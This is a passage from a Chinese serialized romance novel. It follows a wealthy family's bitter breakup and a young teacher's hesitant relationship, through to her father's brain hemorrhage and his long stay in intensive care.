杨梦真弯腰笑出声来, 松开手, 录音笔掉在了地上。 杨梦真一开始的确是这样计划的, 要先去找她最信任的那位医生朋友好好聊一聊。 车快开到那间诊所的时候,她脑袋里想起最近追的那部美剧的情节,忽然间觉得,两位本该优雅的女士为了一个男人去对峙,画面会很无聊很难看。 她在父亲留下的那套旧房子里待了一晚上,半夜三点, 才回到她的温室花园。 孟云钦看着妻子半疯不疯的样子, 下意识地往后退了一步。 他侧过身去,“冬杨第一次查我就是你授意的。这么多年过去, 他可以说是毫无长进。除非我想让他知道,否则他永远查不到他希望发生的事情。” 天底下没有哪一个孩子是盼望着父亲背叛母亲的,他的儿子孟冬杨是个例外。 他只好用漫长的时间给他上人生中最重要的一课。 “梦真, 没有让冬杨拥有一个阳光健全的人格,我占很大一部分责任,但是他完全不懂什么是爱, 这是你作为一个亲生母亲的失职。” 杨梦真听着这些刺耳的话语, 眸光中散开一些冷意。她走到藤椅边, 慢慢地坐下去,拿起一朵花,耐心地拆解花瓣。 她问:“不知道别人家的夫妻是不是谈论任何事都要扯上家里的小孩。你我之间的问题,真的都是因冬杨而起吗?” 孟云钦淡声道:“你精神看起来不太好,先好好休息吧。” 杨梦真扔掉了手中的花瓣,“你说得没错,我的确是一个自私的母亲,不过你好像忘了,这个孩子当初是你劝我留下来的。” “所以呢?我给了你三十多年锦衣玉食的生活,给冬杨提供了最优越的成长环境和教育环境,我把你们母子当成是温室里的花朵一样爱惜。可最终,换来的是怀疑、仇恨和算计。”孟云钦露出一个看似在展示释怀的笑容,“冬杨第一次请律师调查我的时候,他才十五岁,他支付给律师的佣金还是我春节给他的压岁钱。我是从那一刻才清楚地认识到,没有血缘关系,的确是一件很可怕的事情。” 孟云钦离开了花园。 车从墙外开过的时候,他隔着车窗看见杨梦真的侧影,她的脸逆着光,整个人黯然失色。 她的花园被毁掉了,她的温室也没有了。 他认为这一切由她亲手酿就。 杨梦真离开尼斯之前,曾盯着花园里的那瓶驱虫药看了足足一个小时。她在极度崩溃时有过一些极端的想法。 她的脑子里飞过了一只鹦鹉,那只孟云钦养的会学人说话的讨人厌的鹦鹉。 当年鹦鹉的尸体出现在花圃里的时候,她吓得花容失色。而站在她身后年仅十岁的孟冬杨,眼睛里传递出无比平静的目光。 如果她也倒在了花园里,孟冬杨的脸上会是什么表情呢?会是解脱吗? 只有失职的妈妈才会思考如此扭曲的问题。 她想,这些年最难受最辛苦的就是孟冬杨了。 那她能做点什么弥补他呢。 唐盈每周有四个下午的课都是排满的,上课上到口干舌燥,下了班回家,常常一句话也不想说。 晚上她正复习英语,彭芳散了牌局回来,跟她播报重大新闻,说谷瑞安考进法院系统下属单位了。 她不咸不淡地应了声。 彭芳哼笑道:“他怎么还有脸在这个系统里待呢。我打听过了,这个岗位一个月也就四千出头的工资。” 有了编制,工资就能慢慢往上涨,职场生活就有盼头。 唐盈自嘲道:“我一个月还没这个数呢。” “你跟他比什么啊,你们俩早就过上了不一样的生活。人这一辈子长着呢,不到最后谁也不知道谁能比谁过得更好。” “好了,我要复习了,你早点睡吧。” “学英语呢。”彭芳凑过来看了看,“你让小孟给你补啊。” 唐盈无语道:“我这是考研英语。” “小孟看起来不像是那种出国混文凭的,他学历是不是还挺高?” 唐盈点了下头。 彭芳感慨道:“你们俩真是挺有缘的,明明八竿子打不着的两个人,竟然就这么走到一起去了。” “因为唐臻。”唐盈一句话道破机缘。 彭芳面露尴尬,顺势问道:“跟亲戚们都不来往了,你心里难不难受?” “还好吧。”唐盈心里比较可惜的是,碍于徐屹南跟薛晓慧的关系,方静钰跟她的联络变少了。 彭芳叹了口气,“你跟小孟这关系吧,不上不下的,要是结了婚,你就踏踏实实地去霓城,可眼看着还早……他家里是什么情况?” “他家里……”唐盈住了嘴,推了彭芳一下,“你让我先看书吧,回头跟你聊。” 办完几件很重要的事情后,杨梦真即刻返回了法国。落地后,她以身体不适为由,让孟冬杨去尼斯看她。 孟冬杨本就很担心她的状态,上次回国之前就做好了两边跑的准备,当即就订了机票。 临走前,他去青阳陪了唐盈一晚。 唐盈问:“你要去多久?” 孟冬杨说或许会待到暑假。期间他要去一趟洛杉矶,有工作上的事情要处理。 唐盈不舍得他去那么久,但也明白陪伴受伤的家人是比恋爱更重要的事。 “一晃都快到夏天了。”她窝在孟冬杨怀里说道。 “一百天了。”孟冬杨拍拍她的脑袋。 “什么一百天?” “我们在一起一百天了。”孟冬杨叹气道:“你心里是真没我啊。” “啊,为什么感觉已经在一起好久了。” “从第一次接吻开始算的话,就不止一百天了。从你分手那一天算起的话,就更不止了。” “喂……” “我不在,你能多想我一点吗?” “人都不在,怎么想呢。” 唐盈话落,胸口被重重地戳了几下。 孟冬杨严肃认真地对她说:“用心想。” 有钱人散心就一定要去国外吗?什么矫情病啊。 唐盈深思一些问题的时候,会想起昔日薛晓慧的话,她跟孟冬杨真的很像是两条平行线被硬扭在了一起。 那他们之间的感情是靠什么在维系呢。 是身体激情吗? 如果是唐臻,这些烦恼就完全不是烦恼了吧。 他们随时可以一起出国旅行,未来可以在美国定居。大哥大嫂可以为唐臻托底,她本身的收入和资历也足够支撑她去异国追逐爱情。 想的越深就越觉得他们很难走到最后。 唐盈又问自己,如果终究有一天要分开,心里会很难过吗?这种难过跟被相谷瑞安背叛相比,程度要深还是要浅呢。 她对孟冬杨的喜欢,究竟到了什么程度呢。 工作和学习都很忙,导致唐盈的颈椎病犯了。她头晕想吐时,彭芳朝她投去怀疑的目光。 “我不可能让自己怀孕的!”唐盈气得翻白眼。 彭芳心里对她是放心的,可嘴上还是明令禁止:“就算孟冬杨是个值得托付的男人,你也不能做先上车后补票的事,你姐姐就是你的前车之鉴!” 唐盈心想,人都不在,上什么车。 母女俩正为这个话题斗嘴,唐正光突然来了家里。他带来一个不小的新闻,孟冬杨的叔叔和堂弟被带去审查了。 唐盈对此事一无所知。 “小孟什么时候回来?”唐正光问。 唐盈说还要过阵子。 唐正光蹙眉:“这事要是牵连到他爸爸,他们在青阳参与的几个招标恐怕是没希望了。” 唐盈没吱声。 唐正光看着唐盈:“你怎么这么事不关已?” “孟冬杨跟他爸爸关系不好,他现在已经不为家里做事了。”唐盈脱口而出。 “关系不好?” 事已至此,唐盈只好将事实道出。 彭芳一听,脸色一沉,“你是什么时候知道的?” 唐盈慢慢解释道:“我跟谷瑞安闹分手的时候,他就把他的事情都告诉我了,他对我没有任何隐瞒。” 唐正光目露疑光,“你们俩真不会是那会儿就勾搭上了吧。” “没有!”唐盈应激道:“我做不出那种恶心人的事!” 彭芳剜了唐正光一眼,“你老婆给你喝什么迷魂汤了,你怎么连自己的亲闺女都怀疑。” 唐正光交代唐盈:“你快问问小孟什么时候回来,我有些话要问他。” “问他什么?之前酒店招标,你不会给他开后门了吧。”唐盈最担心这个问题。 唐正光说当时的流程都不是他负责的,他开哪门子后门。 他急声道:“我是要问清楚他跟他家里到底是个什么情况,搞这么复杂,我怎么放心你跟他谈恋爱。” “他跟他爸就是你跟姐姐这个情况,只不过,你对姐姐好,他爸爸对他不好。你跟妈妈虽然吵了半辈子,但是你们还能互相关心,他爸跟他妈平时不吵不闹,但是……但是他爸早在外面有人了。” “什么,这也太乱了吧!”彭芳惊声道。 唐正光摇了摇头,“听戏似的。” 唐盈无奈道:“大家好像不是同一个世界上的人。他也挺不容易的。” 彭芳轻嗤一声,“有钱人有什么好心疼的,我看就是钱多闲得慌。我明天去给你求个签看看,你这感情路也太不顺了,没钱的人不行,有钱的怎么也不行。” “你这张嘴啊。”唐正光指了指彭芳的鼻子,“你能不能吸取之前的教训,少管唐盈的事,那孟冬杨还不是你女婿呢。” 第42章 我算什么 孟冬杨从小就知道杨梦真是个复杂的母亲, 同时也是一个复杂的女人。 收到消息,孟昭宇恐有牢狱之灾,他当成新闻念给杨梦真听, 杨梦真果真露出不以为意的眼神。 家里来了几个装修工人,按照杨梦真自己设计的图纸,把靠近花园的一个杂物间弄成了一间画室。 木工在敲敲钉钉,石膏雕塑被搬到窗台上, 杨梦真自己剪裁了桌布, 铺开在她的工作台上。 孟冬杨帮忙把各类颜料摆放到木架上, 他在杨梦真的旧画具箱里翻到一支边缘磨损的铅笔, 这是他小时候留下的。 杨梦真艺术天赋并不高,却非常热衷于拜师学艺。美术、雕塑、声乐、舞蹈,样样都愿意花钱花时间。 孟云钦从来不对她的兴趣爱好指手画脚,也从不参与其中。他只要求孟冬杨除了钢琴之外什么都不要浪费精力去碰。 他说画家要想成名,不疯不行。 孟冬杨能学一年素描,是他跟父亲打赌打赢了, 用他的钢琴获奖证书换来的。后来学业紧张, 放下了画笔,杨梦真觉得可惜, 留了一支铅笔做纪念,一存就是二十年。 折腾了两天后,杂物间改造的画室变得像模像样。 杨梦真安然地在画架前坐下, 想用刮刀在画布上铺开第一笔颜料时,怎么也不记得画油画的手法了。 孟冬杨用画笔调了一点普蓝色,让她先起形, 她眉头一皱:“你又没学过油画, 你这是画水粉的步骤。” 唐盈说他们母子俩的关系像朋友, 可孟冬杨时常觉得,他才是长辈,杨梦真像他养的小孩。 他们母子俩,从来不曾像唐盈和她妈妈那样斗过嘴吵过架谈过心红过脸,他们之间始终隔着一道坚固透明的屏障。 杨梦真起身,“你来画吧,随便画什么。让我看看你的心境。” 孟冬杨画了一座小岛,暗色礁石的岛屿,困在深蓝色的大海里,唯一的暖调,是岛上漂浮着的两个气球。 杨梦真问:“为什么是气球?” 气球代替的是两个人。孟冬杨只会用铅笔画人,担心用油画笔画不好,下意识用气球代替。 杨梦真觉得气球的寓意不太好,她问:“这是代表我们俩吗?” 孟冬杨摇头,“是我跟唐盈。” 杨梦真扬一下眉毛,拿起画笔把两个气球改成了两棵树。 她说:“树根在地里紧紧缠绕,枝叶像牵着手,这样才好。” 孟冬杨点点头,“还是你厉害。” “你之后是怎么打算的?”杨梦真继续画着这幅画。 孟冬杨说前几年职场不顺心,这几年做生意又没赚什么钱,思来想去,还是回洛杉矶找找工作状态,会更利于身心健康。 “那唐盈呢?” “慢慢来吧,她有她自己要坚持的东西,我不强求她为了我改变,但我也不可能就待在她身边守着她。” “她到底是为什么不愿意离开青阳呢?” “她有很爱她的家人。” “她不爱你吗?” 孟冬杨耸耸肩膀,“我没有感觉到她有多需要我。” 杨梦真“噗嗤”一笑,“那说明你做得还不够好。” 片刻后,杨梦真又说:“你们俩都是没有彻底打开自己的人。两个不同世界的人要想一起生活,就得创造出一个新世界。我知道你喜欢她什么,但我确实不明白她喜欢你什么。你得先搞清楚这个问题。” “你也觉得我没有魅力,不值得女孩喜欢吗?” “理智的人想要彻底爱上一个人,除非是清清楚楚地看见了他的全貌。你看清楚她了,但她对你还是迷糊的。” 孟冬杨不想再聊下去。 最近发生的事情太多,他每一次深刻地剖析自己时,都会感到无尽的痛苦。 他并不认可杨梦真的这句话。 至少他爱上唐盈的时候,那份心意是没有经历过度思考的。如果他是理智的,他根本不会任由自己去喜欢前女友的姑姑…… 他问杨梦真:“那你能看清楚我吗?你觉得我是个什么样的人?” 杨梦真竟然被问住了,她眨了眨眼睛,说:“我当然了解你啦。” “那你有怀疑过鹦鹉是我毒死的,昭宇之前的事是我做的吗?” “当然没有!” 孟冬杨露出极淡的笑容,“不怪外人看不清我们这一家人,我们彼此之间,也是看不清的。” 杨梦真咬着唇没有接话。 离开这间画室的时候,孟冬杨轻声对杨梦真说:“我总是觉得自己会孤独终老。你也很害怕孤独吧,所以一刻不停地要学这个学那个,要养花养草……妈,我不会再养狗了,孤独其实并不可怕,这个世界上很多人都没得到过爱,但一样活得好好的。你有很多钱傍身,有漂亮的花园,我每隔一段时间会来看你,请你好好地生活吧。” 孟昭宇出现危机,让孟云钦吞下了背叛妻子的恶果。律师说杨梦真提供的证据足够充分,判刑是板上钉钉的事了。 孟云钦自我安慰道:“这些年昭宇确实是太不安分,吃点苦头,让他反思反思也好。” 律师又问:“那您太太那边,您是怎么考量的?” 孟云钦嗤笑一声,“我儿子心疼他妈妈,离婚协议已经替我们拟好了。” “我会尽快确认。” “我很信任我儿子,他提什么条件我就答应什么条件。这些年我对他也是有亏欠的。” 律师没有吱声。 “只要他安稳地留在美国,我可以让一切都结束。他也知道他输了。” 孟云钦自认为他选在最好的时机,在父子俩之间的这场较量上分出了胜负。 孟冬杨甘愿放弃孟家所有的利益,是他完全没有料想到的。心里有些震撼,这些年孟冬杨最在乎的竟然不是钱,而是妄想从他身上汲取一点父亲。 想明白这一点后,他愈发感到舒坦。可舒坦过后,却是无尽的茫然。 他又赢得了什么呢。他没有自己的小孩,侄子又不中用,往后不也得孤独终老嘛。 他们这一家三口,一定是世界上最可笑的一家三口。 孟昭宇的事牵连到漫岛酒店,青阳地方小,消息传得很快,过去在饭局上见过孟冬杨的人,试图通过唐正光打探消息,言语中也带有对孟冬杨的审判。 唐正光心里非常不舒服,质问孟冬杨怎么说撂挑子就撂了,还把酒店交给这么个不负责的堂弟。 孟冬杨没有任何可为自己辩解的话。 唐正光又问道:“那你以后是什么打算?” 孟冬杨直言自己会考虑回美国。 “那唐盈怎么办?”唐正光头一回对孟冬杨疾言厉色,“你把她当什么了?当你在青阳无聊时的一个消遣?” “我会跟唐盈好好谈这个问题。” 唐正光愁到睡不着觉,半夜跑到阳台上去抽烟。 想到翟莉不在家,干脆又回到床上抽起来,烟灰掉在被罩上,烧出一个黑洞,他气得连夜拆了四件套扔进垃圾桶。 早上五点半,彭芳的手机一直震动。 看见是老唐打来的电话,她接听后就骂骂咧咧道:“这么早你催命啊,你老婆不管你啊!” 唐正光让她低声点,把孟冬杨要回美国的事情告诉了她。 彭芳蹙眉听完,哈欠梗在嘴边,心一横,说:“又不是美国人,什么叫回美国?他爱回哪儿回哪儿,你闺女又不是离了他不能活。” 话落就挂了电话。 唐盈五点就起来学英语了,听见隔壁房间的动静后,自觉地塞上了耳机。她知道彭芳说不出来什么好听话。 孟冬杨想回美国,这件事对她来说一点也不突然,更不突兀。薛晓慧早就提醒过她,孟冬杨早晚有一天是要走的,那时她心里就埋下了两人不可能长久的种子。 他跟他爸爸的决裂,也注定会换来这样一个结果。他留下,他爸爸对他不放心,他不留,也是想对他自己有个交代。 当初回国发展,是他在向自己的执念妥协。现在一切都结束了,他需要回到人生的正轨。在霓城,他所有的社会关系和人际关系都逃不开父亲的掌控,而他的学识和能力也只有在更广阔的天地才能发挥出最大的价值。 唐盈一早就将这些事情思考的很清楚。 这些天,她也渐渐地反应过来,她喜欢上这个男人,也因为自己很世俗地被他身上这些光鲜的条件所吸引。 他是和谷瑞安完全不同的男人,是他们这个小城市里很难出现的男人。 于是她头脑发热地想跟他试一试,想让他带自己走出失恋的阴影,去体验更高阶一点的爱情。 她完全没有想到自己会成为他跟他父亲分裂的导火索。 如果这是他的必经之路,那她乐意看到他走出阴影。 她也乐意看见他去到一个崭新的世界,去找回他心里的光。 只是可惜,她不能相伴左右。 昨晚跟孟冬杨打完电话后,唐盈看了一部讲述异地恋的电影,开始做一些奇怪的心理建设。 她就是这样的人,总是能平静地接受一些生活里的变化。 大学四年,她跟谷瑞安也是异地,没钱的时候也是一两个月才见一面,恋爱也顺利地谈了下来。 她暂时不去考虑分手的事。 分手应该是不喜欢了或者坚持不下去的时候才要做的打算。 孟冬杨很意外唐盈来机场接自己。 两人回到车里就开始接吻。 呼吸和肢体纠缠在一起的时候,唐盈总会进入一种无比依恋这个男人的状态。 孟冬杨喜欢看唐盈意乱情迷的眼睛,她对他的喜欢在这种时候最丰盛。 他捧住她的脸颊,问她想不想自己。 唐盈点点头,问他妈妈好不好。 “她总能有办法让自己开心。”孟冬杨又问:“你最近好不好?你爸爸好像被我气着了,他身体还好吗?” 唐盈蹙眉,“你干嘛要跟他说实话呢,这些事应该由我来告诉他们。” “那你打算怎么说?” “我会有我自己的说辞。” “所以还没跟我商量清楚,你就已经有自己的想法了吗?” 唐盈微微怔住。 孟冬杨佯装叹气道:“你就不能跟我撒撒娇,让我为了你留下吗?” “我撒娇你就会留下吗?”唐盈露出非常认真的表情,“你知道我不是这种人,我心里也很清楚,你不会因为我而改变你的计划。咱们俩就别说那些矫情的话了。” “矫情吗?你对我没用什么心,就默认我也对你用情不深,你自己理智的不要命,就默认我也跟你一样冷心冷肺吗?” 孟冬杨是用开玩笑的语气说出这些话的,语速不快,声音很柔,可他的眼睛里没有半分笑意。 唐盈的心突然被刺了一下。 她脸上的表情凝固了,心跳也乱了起来。 她偏过头看向车窗外,“是,我就是你说的这种人……” 孟冬杨看着她倔强的背影,语速稍稍变快,“你不是,你只是对我是这样的,对别人,哪怕对方再差劲,你也不舍得丢掉他,哪怕所有的人都不看好,你也要想尽一切办法跟他结婚。” “我跟他认识十几年,在一起七年,我跟你才认识多久?”唐盈没有回头。 “那你觉得我们俩能在一起多久?” 话赶着话,唐盈快人快语道:“我不知道。” 四个字落地,她心里有点发酸,扭过脸,看向孟冬杨的眼睛,男人正神情惘然地看着她。 孟冬杨垂下眼眸,“唐盈,你没有特别喜欢我,对吧。” 唐盈抿住唇,她竟然给不出这个问题的答案。 “我对你足够坦诚,你也对我坦诚一点,好吗?我很想知道我在你心里到底算什么。”是爱人,还是只是欲望中的一滴可有可无的露水,只想喜欢一阵子,说放下就可以放下。 “是,我没有爱你爱到不顾一切追随你的程度。但不只是对你这样,我对任何男人都会这样。不要再提谷瑞安,人的想法会变,如你所说,感情也是投资,那时的我,只是太想要回报和结果。” 唐盈自己也没有意识到,孟冬杨问的是喜欢,她答的是爱。 孟冬杨小心翼翼到不敢触碰爱这个字眼,但是爱他这两个字已经在她心里流经过很多次。 从机场到孟冬杨的家有五十分钟的车程,他们沉默了五十分钟。 进家门后,孟冬杨依然惯性地看向往日卡卡走来的方向,唐盈看懂了他这个的眼神,也出于惯性握住他的手掌。 孟冬杨将唐盈揽进怀里,低头用力地吻她的嘴唇。 夏天单薄的衣服很快就被揉乱,唐盈不想在这种情绪下跟他发生关系,肢体一直在躲避。 觉察到对方的排斥后,孟冬杨放开了她。 她不想的时候,他从来都不会强迫她。哪怕他们有一个多月没见过面了。 长时间的飞行让人疲惫,孟冬杨做了很简单的晚餐,陪唐盈吃完后就一个人去了书房。 唐盈对眼下的氛围感到无措,她轻轻地敲了下书房的门,“你要是困就去睡觉吧,我可以睡客房。” “我没有在逃避你,我是在反思自己说错了哪些话。” “没有……”唐盈推开门走进去,“小吵怡情。不吵,就永远不知道对方的真实想法。” 孟冬杨轻轻地点了点头。 质疑自己在亲密关系里的能力是一种无比痛苦的感觉。 孟冬杨想,唐盈不会有这种痛苦的时刻,因为她是比他更懂什么爱的人。 既然如此,他愿意把选择权交到她手上。 第43章 噩梦日 彭芳当真跑去求签算命了。算命先生说唐盈未来一切都好。 彭芳着重问了下唐盈的姻缘, 对方的话模棱两可,说唐盈的未来是什么样子,姻缘就是什么样子。 这完全就是一句废话。 彭芳又问了问自己的晚年运, 这人说她会跟之前的人走到一处去。这不会是个像个江湖骗子吧!打死她,她都不会再跟老唐过到一块儿去。 有好几个同事都在岛屿花园买了房子,批期末试卷的时候,大家在办公室里闲聊, 说八月份就能拿房了, 问唐盈打算装修成什么风格。 唐盈犯了愁, 装修款还没有着落呢。 好在暑假要到了, 她又可以给学生补课赚钱了。学校的工作一结束,她就谋划起捞外快的事。 家附近的商户很多,都愁暑假孩子没人带,把小孩送去唐盈家补半天课是很好的选择,偶尔还能蹭上彭芳做的午饭。 补课的事情商定好了,唐盈才想起之前答应孟冬杨暑假要一起去旅行的事, 她心虚地问孟冬杨打算什么时候回美国。 孟冬杨还有一些事情没处理完, 也想陪唐盈把暑假过完,他没什么情绪地说:“你忙你的, 不用管我。” 唐盈有些自责,跟他说了声抱歉。 孟冬杨岔开话题问道:“马上拿房了,可以考虑装修设计的事了, 你喜欢什么风格?” “你的房子还装吗?” “跟你这套一起装了吧。” “装了不住好可惜。” “我总要回来看你的。” 谈论起即将异国的问题,两个人的态度越来越平和。 唐盈不觉得这样的平和是因为从容,反而像是火焰隐忍在海水之下, 正在酿就更大的风浪。 她把脸枕在孟冬杨的肩膀上, “你帮我做设计吧, 你设计成什么样,我以后就住什么样的房子。” 孟冬杨跟她开玩笑:“我的服务费很高的。” “你又不是专业的设计师,拿什么乔啊。”她对着他的脖子轻轻吹气,“你走了我替你看家,我不收你看家费。” “装修的钱我一起出了,你要是不同意,我就不干。” “你不干什么?”唐盈的手伸了过去,“我看你很想……” 知道要分别,他们身体亲密的频率越来越高,激烈的程度不断在加深。 唐盈在高处震荡时,从欲望中感知到自己的内心,她只敢在性上打开自己,其实是一种割裂心理。 她对孟冬杨的爱,没有在身体和精神上形成统一。 “你想我了怎么办?”这句话是唐盈问的。 孟冬杨的耳朵被她的气息沁润着,她的声音在摇晃。 “我对这种事不像唐老师这么沉迷。”他不是只有在欲念上头的时候才会想她,他在任何时候都会想她。 “你就是年纪大了。” “我的身体很年轻,我还可以满足你很多年。” 情话在颠簸中助兴,也带来一些较劲心理。 孟冬杨的手掌在洁白柔软的地方留下可怖的痕迹。在这种时候他总想用力地抓住那只漂浮的气球,他不允许她离开他的岛屿。 家里有七八个小孩在,天气热,空调从早开到晚。彭芳数落唐盈赚这点钱还不够填水电费的。 她一语道破唐盈和孟冬杨之间的症结,“你自尊心这么强,就算孟冬杨不去美国,你们俩也迟早要分。” 唐盈说这不是自尊心的事,让彭芳不要再随意点评。 彭芳冷哼一声,“他是怕我念叨他吗,怎么也不来家里吃饭了。” “我怕你不高兴才不让他来的,不是他自己不想来。”唐盈说烦了,皱起眉头:“谈恋爱本来就是两个人的事,你跟我爸能不能别再对我们的事指手画脚。” “我倒要看看他走了你心里是什么滋味。”彭芳又问:“你爸这阵子还那么忙吗?最近也见你每天提醒他吃药。” “我发消息给他了。” “他那个性子,除非你打电话过去盯着他吃,否则他才不上心。” “好好好,我明天开始就打电话给他。” 这天傍晚下了一阵暴雨,气温看着降了几度,彭芳把空调关了,把家里的窗户都打开透气。 唐盈在补午觉,被热醒了,脑袋晕乎乎的,心里气得很,“这个月电费我交还不行吗?” 彭芳拿着蒲扇呼啦啦地扇风,“不是电费的事,我总觉得心里闷。” “你怎么了?”唐盈急忙爬起来走到彭芳面前,“我给你测个心率吧。” 彭芳捂着心口摆了摆手,“天气原因吧。” 唐盈看了看外面的天,说晚上不做饭了,她去楼下买点吃的对付一顿。 “小孟不来吃饭吗?”彭芳问。 唐盈轻嗤一声,“他不来你又念叨,你这人就是嘴硬心软。他要明天才来呢。” 下楼的时候唐盈的脑袋还是晕乎乎的,摸了摸额头,有点发烫,不知道是不是这几天吹空调吹生病了。 她走到三楼,手机响了,是翟莉打来的电话。 她一接听,翟莉就哭喊道:“唐盈,你爸晕倒了,脑出血,现在在医院里,医生说要立刻做手术……” 唐盈当即就往楼下跑,一口气跑出小巷,急匆匆地拦了辆出租车。路上给路晨打电话的时候,她手抖得连手机都握不住。 路晨先问她是不是自己开车,她拼命地摇了摇头。 “别着急别着急,人已经送手术室了,我去医院门口接你。” “出血量多少?”唐盈急声问。 “90毫升。” 唐盈的脑子一下子炸开。 她是做过功课的,路晨给她发的所有资料和注意事项她都烂熟于心。90毫升的脑出血意味着什么,她心里是有方向的。 “谁在给他做手术?怎么说你老师不在啊……”唐盈带着哭腔,语无伦次地重复着几句翟莉方才的话。 “别哭啊唐盈,我老师今天休息,但是我们副院长在,他亲自上了手术台……” 唐盈跑到手术室门口时,翟莉坐在椅子上泣不成声,挺着大肚子的梅馨陪在她身边。薛晓慧也赶来了,坐在翟莉的另一侧。 见唐盈来了,薛晓慧替翟莉把情况又解释了一遍。 人是下午四点在办公室里晕倒的,得亏一个进去送文件的同事及时发现,才没有耽误最佳救治时机。 现在正在做开颅手术,这个手术的成功率很高,但是术后有48小时危险期,挺过去了就能保命。 薛晓慧愁容满面:“不过就算是命保下来了,这个出血量,以后……以后生命质量也不高了。” 方才翟莉签手术同意书的时候,梅馨就已经听见了医生的话,即便人平安下了手术台,安稳地挺过危险期,往后也没办法像正常人一样生活了。 这会儿又听薛晓慧叙述一遍,她气愤道:“人在单位出的事,只有帮忙叫救护车的那个人有点良心,陪着来了医院,其他的人到现在也不露面。唐叔就是工作太累才会晕倒。” 没过多久,来了两个唐正光单位的领导,其中一个把翟莉叫去说话。 对方先是安抚了翟莉一番,而后就开始公事公办地聊重点。 梅馨凑过去听了一耳朵,意思是唐正光有基础病,如果人在48小时内死亡,那就按工伤赔付,但如果两天内人没走,那就无法按照工伤算赔。 梅馨当即就跟对方嚷嚷起来。 这位同事说,如果家属要是不认可,可以申请仲裁。 唐盈一个字也没听进去,他们所有人的影子在她眼前都是虚的,只有“手术中”三个字在她的视野里有清晰的呈现。 早就过了下班时间的路晨一直没走。他给唐盈递了水,她不肯喝,他塞给她糖,她也不接。 唐盈的眼泪掉了一阵子后,脸色回到木讷的状态,过了会儿,新一轮的眼泪又掉下来。 她始终没有发出声音,就这么静静地坐着、等待着。 彭芳在家里等消息,天色全暗下去后也没有开灯。 她坐在靠门最近的沙发上,把门盯出一个洞。 胡思乱想的时候她在搜索引擎里输入“脑出血90毫升”这样的关键字,看了一些文字后,她想,往后老唐恐怕很难在爬上这破旧的五楼,来家里跟她吵架打嘴仗了。 孟冬杨收到消息时,五个半小时的手术已经结束。凌晨一点半,他从霓城开车去青阳。 ICU门口坐着七八个家属,他们都在守护跟危险期斗争的亲人。唐盈和翟莉坐在正对着门的位置,两人之间隔着一个空位,翟莉的头低垂着,唐盈的目光平直地看着那道门。 唐盈的手被孟冬杨抓住,她回头看他,红肿的眼睛忽然间蓄满新的眼泪。 她抑制着哭腔对孟冬杨说:“我最近没有给他打电话,怪我没有给他打电话,我数了他的药片,他少吃了,他少吃了……” 孟冬杨将她抱进怀里,发现她脑袋滚烫,确认她在发烧后,想带她去量个体温。 唐盈说什么都不肯走。 翟莉在一边相劝道:“去休息一会儿吧,你要是也垮了,我连个商量的人都没了。” 唐盈还是不肯走。 孟冬杨很快拿来体温计和退烧药,给唐盈量了体温后让她把药吃下。 他搂着她,让她阖眼养一会儿神。 唐盈闭上眼睛几分钟后就睁开,她死死地抓着孟冬杨的手,想张口说话,声音却卡在喉咙里。 她微微张着嘴,眼泪浸湿了孟冬杨的衬衫。 天还没亮彭芳就来了医院,她带了热牛奶给唐盈,也给翟莉和孟冬杨带了早餐。 她不知道唐盈发烧了,听说后拿走她手里的牛奶,下楼去给她买白粥。 唐盈不喜欢喝白米粥,医院食堂里又没有白糖,她怕唐盈喝不下去,去超市里买了白砂糖,倒进粥里,这才拿上去给唐盈喝。 上午来了好几个唐家的亲戚,问了问情况,待了一会儿后就走了,只有唐久安夫妇和唐盈的大堂姐,一直守候到傍晚才离开。 晚上梅馨和谷瑞安来了,梅馨过来劝唐盈回家休息一晚,劝不动,让谷瑞安去劝,谷瑞安看了眼陪在她身边的孟冬杨,脚迈出去后又收了回来。 对唐盈来说,这48小时是一场惊涛骇浪的噩梦。来来往往的人都没有在她心里留下任何痕迹,只有进出ICU的医护人员能吸引她的注意力。 这48小时里,ICU里有三位病人离世。每听见一场哀恸的哭泣,唐盈都会跟着大哭一场。 她一步也没有离开过这层楼,累了就靠在妈妈或者孟冬杨的肩膀上睡一会儿。孟冬杨也始终没有离开过医院。 唐正光脱离危险期后,唐盈和翟莉轮流进入ICU看他。看见爸爸满身插着管子躺在病床上,唐盈的心像被棱角锋利的重石狠狠压住。 医生说,要等生命体征平稳后,唐正光才能从ICU出去。 唐盈被妈妈劝回去洗澡休息。 昏睡了十五个小时后,她脸都没洗,就又带上东西去了医院ICU门口。 【作者有话说】 抱歉,最近事情太多了,双更一直没补上,周末两天我尽量补~ 100个红包~ 第44章 一场梦 一周后, 唐正光从ICU转入普通病房。 薛晓慧打了关照,安排了最好的护工来料理他。 护工第一次当着亲属的面做清理工作时,薛晓慧把唐盈拉出了病房。 薛晓慧跟唐盈说:“护理上的事, 你好多都做不了,跟你翟阿姨商量一下分工,做好长期照顾你爸爸的准备。” 她又拉了拉唐盈的手,“梅馨快要生了, 往后你翟阿姨肯定那头也要顾, 这个你要理解, 毕竟她跟你爸结婚还没有一年, 说难听点,他们之间又能有多少夫妻情分呢。你爸到底还是得指望你这个亲女儿。不过你放心,我们这些亲戚能帮的都会帮。” 谷瑞安陪着梅馨来给翟莉送饭,看见薛晓慧和唐盈站在走廊上说话,下意识地挪开视线。 唐盈薄的像一片被雨水打湿的叶子,眼睛里一点神采也没有。她的世界变了。 梅馨揶揄谷瑞安道:“她这样, 谁见了都会心疼, 你要想去安慰几句你就去。但你别忘了,她还有个孟冬杨呢, 孟冬杨能负担唐叔所有的费用,还能从外地请专家来给唐叔会诊,这些你可做不到。” 谷瑞安没理会梅馨的冷嘲热讽。 梅馨又哼笑一声, “我妈才是最不容易的,你多心疼心疼你丈母娘吧。” 唐正光住的是双人间,隔壁的患者也是一位男性。 这位患者跟他情况差不多, 但是脑出血量小, 现在术后半个月, 他睁开眼后,除了下半身不能动,说话磕磕绊绊,其他功能并未受到损伤。 他能认识他的家人。 唐盈一步步在接受爸爸不能动、不能睁眼,待他终于睁开了眼睛,又说服自己去接受他无法说话、无法表达情绪。 可无论如何,她都不能接受爸爸好像失去了所有的记忆和所有的情感感知。 不管她说什么做什么,爸爸都只能呆呆地看着她。 “我不是非要他记得我,可是他什么都感觉不到,不能动不能自主进食,他躺在那里该有多难受啊。” 孟冬杨看着唐盈的脸,她爸爸的病程走到这个阶段,她的心态触了一个又一个底,除了爸爸的命保了下来,其他的一切都是最坏的结果,她一直在逼迫自己接受现实。 “他会不会什么都知道,但是他表达不出来,他的心脏还没有坏,他的眼睛能看东西……”唐盈停了下来,“他再也不能跟我斗嘴了是不是?” 安慰的话孟冬杨已经说过太多,他陪着她走过了这段时间每一个难熬的时刻。 如今他所掌握的医学知识已经不比她少,他用最温和的话术把专家的话讲给她听。 